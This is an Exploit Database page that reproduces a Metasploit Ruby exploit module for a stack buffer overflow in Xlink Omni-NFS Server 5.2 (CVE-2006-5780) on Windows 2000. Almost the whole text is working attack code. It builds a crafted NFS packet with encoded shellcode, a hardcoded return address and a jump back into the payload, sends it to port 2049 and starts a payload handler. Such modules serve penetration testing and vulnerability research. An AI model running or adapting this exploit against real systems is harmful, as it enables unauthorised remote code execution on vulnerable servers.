Omni-NFS Server – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16389/

• ##
  # $Id: xlink_nfsd.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Omni-NFS Server Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
  				When sending a specially crafted nfs packet, an attacker may be able
  				to execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5780' ],
  					[ 'OSVDB', '30224'],
  					[ 'BID', '20941' ],
  					[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 336,
  					'BadChars' => "\x00",
  					'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
  				],
  			'Privileged' => true,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Nov 06 2006'))
  
  		register_options([Opt::RPORT(2049)], self.class)
  	end
  
  	def exploit
  		connect
  
  		buff =payload.encoded
  		buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
  		buff << [target.ret].pack('V')
  		buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
  		buff << rand_text_english(251)
  
  		pkt =[1].pack('N')
  		pkt << [0].pack('N')
  		pkt << [2].pack('N')
  		pkt << [100005].pack('N')
  		pkt << [1].pack('N')
  		pkt << [1].pack('N')
  		pkt << [1].pack('N')
  		pkt << [400].pack('N')
  		pkt << buff[0,400]
  		pkt << [1].pack('N')
  		pkt << [400].pack('N')
  		pkt << buff[300,400]
  
  		sploit = [pkt.length | 0x80000000].pack('N') + pkt
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end